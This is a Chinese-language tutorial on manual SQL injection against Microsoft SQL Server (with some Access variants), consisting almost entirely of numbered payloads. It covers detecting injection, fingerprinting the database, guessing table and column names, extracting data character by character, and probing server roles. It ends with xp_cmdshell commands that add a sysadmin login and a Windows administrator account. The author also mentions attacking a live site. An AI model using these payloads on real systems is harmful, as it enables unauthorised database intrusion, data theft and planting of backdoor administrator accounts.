千家信息网

Sql Server 手工注入讲解

发表于:2024-11-22 作者:千家信息网编辑
千家信息网最后更新 2024年11月22日,1.判断是否有注入and 1=1and 1=2判断注入的方法是一样的2.初步判断是否是mssqland user>03.判断数据库系统and (select count(*) from sysobje
千家信息网最后更新 2024年11月22日Sql Server 手工注入讲解

1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的

2.初步判断是否是mssql
and user>0

3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%25'='

6.猜数表名
and (select Count(*) from [表名])>0
这个比较蛋疼,总共有3oo多个数据库我手工没有猜出来,有神器sqlmap跑的都显示不完,刚才返回错误,如果填上正确的表名就行了,下面是猜字段,其实和access数据库差不懂,学这个就得会举一反三,这是一些步骤和语句,我给大家自己看吧,主要是这个站比较蛋疼,对了工具的使用会在以后的教程中介绍,学这个要先学会原理,只知道用工具注入也没有什么意思,要学会原理,有自己的思路,然后自己写工具才有成就感

7.猜字段
and (select Count(字段名) from 表名)>0

8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0

9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

0